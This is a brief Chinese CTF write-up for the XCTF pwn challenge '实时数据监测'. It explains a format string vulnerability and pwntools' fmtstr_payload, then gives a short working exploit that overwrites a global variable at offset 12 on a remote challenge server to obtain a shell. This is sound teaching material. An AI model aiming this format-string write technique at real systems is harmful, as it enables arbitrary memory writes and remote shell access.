攻防世界——实时数据监测
这题思路很简单,难度大大降低了,本来是一道盲打题,但给了文件就很清晰了,主要是记录一下一个pwntools的新用法
checksec:
看到没开任何保护,经验就告诉我,这是一道盲打改编题。
拖进IDA:
逻辑很简单知道吧key赋值成0x2223322就可以获得shell
这里也很清楚是个格式化字符串漏洞
连接靶机看看偏移量:
偏移量为12
这里讲一讲要用到的pwntools:fmtstr_payload(offset, writes, numbwritten=0, write_size=’byte’)
实际上我们常用的形式是fmtstr_payload(offset, {printf_got: system_addr})(偏移,{原地址:目的地址})
比如我要更改puts函数got表中的实际地址为system的实际地址,且偏移量为12,我可以这么写:
fmtstr_payload(12,{puts_got:system_addr})#这里是变量名
这样就可以实现真正的任意内存地址写
上exp:
from pwn import*
io=remote("61.147.171.105",58121)
payload=fmtstr_payload(12,{0x804A048:0x2223322})
io.sendline(payload)
io.interactive()
获得shell: